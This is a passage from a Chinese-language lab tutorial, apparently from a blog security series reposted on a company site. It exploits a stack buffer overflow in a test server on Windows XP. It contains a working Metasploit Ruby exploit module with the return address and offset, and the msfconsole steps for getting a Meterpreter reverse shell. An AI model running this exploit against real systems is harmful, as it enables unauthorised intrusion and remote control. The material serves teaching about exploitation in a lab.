    [./ws2_32.dll]
    0x71a22b53 push esp; ret
    msf > 
    


    可以看到,我們得出的JMP ESP指令的地址為:0x71a22b53。

    六.編寫Ruby攻擊腳本及反彈Shell

    接著編寫攻擊腳本,其代碼為bof_attack.rb,使用該腳本得到shell。源代碼如下所示:

    require 'msf/core'
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
      include Msf::Exploit::Remote::Tcp
    
      def initialize(info = {})
      super(update_info(info,
        'Name' 		=> 'Stack Based Buffer Overflow Example',
        'Description' 	=> %q{
          			    Stack Based Overflow Example Application Exploitation Module
        			   },
        'Platform' 		=> 'Windows',
        'Author' 		=> 'yanhan',
    
        'Payload' 		=>
          			   {
            		   'space' => 1000,
                               'BadChars' => "\x00\xff"
                          	   },
        'Targets'  		=>
          			   [
            		     [
    			      'Windows XP SP3',
    			      {'Ret' => find it, 'Offset' => find it}
    			     ]
          			   ],
         'DisclosureDate' => '2019-05-25'
      ))
      end
    
      def exploit
        connect
        buf = make_nops(target['Offset'])
        buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
        sock.put(buf)
        handler
        disconnect
       end
    end
    

    需要注意核心代碼:

    'Targets' =>
      [
        ['Windows XP SP3', 
         {'Ret' => 0x71a22b53, 'Offset' => 520}
        ]
      ],
    

    其中,Ret的值要和第五部分中找到的JMP ESP指令的地址一致,Offset的值要和第三步中找出的準確字節數一致。對應為:

    • ‘Ret’ => 0x71a22b53
    • ‘Offset’ => 520


    第一步,將Ruby腳本上傳至Kali系統。


    第二步,將bof_attack.rb腳本上傳到Kali的/usr/share/metasploit-framework/modules/exploits/windows/meterpreter/目錄下。

    下面代碼是創建文件夾meterpreter,再復制Ruby腳本至該文件夾的過程,同時查看了各級目錄的內容,加深讀者的印象。

    cd /usr/share
    ls
    
    cd metasploit-framework/modules/exploits
    ls
    
    cd windows
    ls
    



    發現不存在該文件夾之后,調用“mkdir meterpreter”創建文件夾。

    mkdir meterpreter
    cd meterpreter
    ls
    


    調用命令復制至該文件夾。

    cp ./bof_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter/
    cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter/
    ls
    


    第三步,運行攻擊腳本并拿到了目標服務器的Meterpreter Shell。

    啟動msf控制臺

    msfconsole

    運行ruby腳本

    use exploit/windows/meterpreter/bof_attack.rb

    設置目標服務器IP地址(Windows XP系統)

    set RHOST 192.168.44.130

    設置目標服務器端口

    set RPORT 4242

    查看配置信息

    show options


    第四步,調用exploit命令對棧溢出漏洞進行攻擊。再輸入ls,可以看到我們目標XP服務器的E盤內容已經被提權,這就是所謂的Windows漏洞利用。



    上面“ls”命令對應的內容即為XP系統E盤的文件,如下圖所示:

    需要注意,我們在執行這些操作過程中,XP系統的bof-server.exe需要一直運行,處于監聽狀態。某些情況可能會提示錯誤“Exploit completed, but no session was created”,如下圖所示:


    查看目標機的bof-server.exe命令行的緩沖區溢出并斷開了監聽。建議大家在目標機上多運行幾次bof-server.exe和在Kali上多運行幾次exploit,直到成功拿到Meterpreter Shell。


    七.總結

    文章寫到這里,就介紹完畢,希望文章對您有所幫助,尤其是文章擴展的幾個工具,您下來也可以詳細學習。這篇文章主要講解了如果搭建XP和Kali環境,并通過Windows漏洞實現棧溢出攻擊,通過Metasploit反彈shell,從而Kali系統獲取了XP系統的shell。該棧溢出的具體流程包括:

    任意非00的指令覆蓋buffer和EBP

    從程序已經加載的dll中獲取他們的jmp esp指令地址。

    使用jmp esp的指令地址覆蓋ReturnAddress

    從下一行開始填充Shellcode


    雖然是非常基礎的一篇文章,但希望讀者閱讀并完成文章的實驗。接下來作者將繼續學習并分享更多的Windows漏洞利用或網絡安全的文章。最后給出相關的命令。


    希望這系列文章對您有所幫助,真的感覺自己技術好菜,要學的知識好多。這是第54篇原創的安全系列文章,從網絡安全到系統安全,從木馬病毒到后門劫持,從惡意代碼到溯源分析,從滲透工具到二進制工具,還有Python安全、頂會論文、黑客比賽和漏洞分享。未知攻焉知防,人生漫漫其路遠兮,作為初學者,自己真是爬著前行,感謝很多人的幫助,繼續爬著,繼續加油!

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有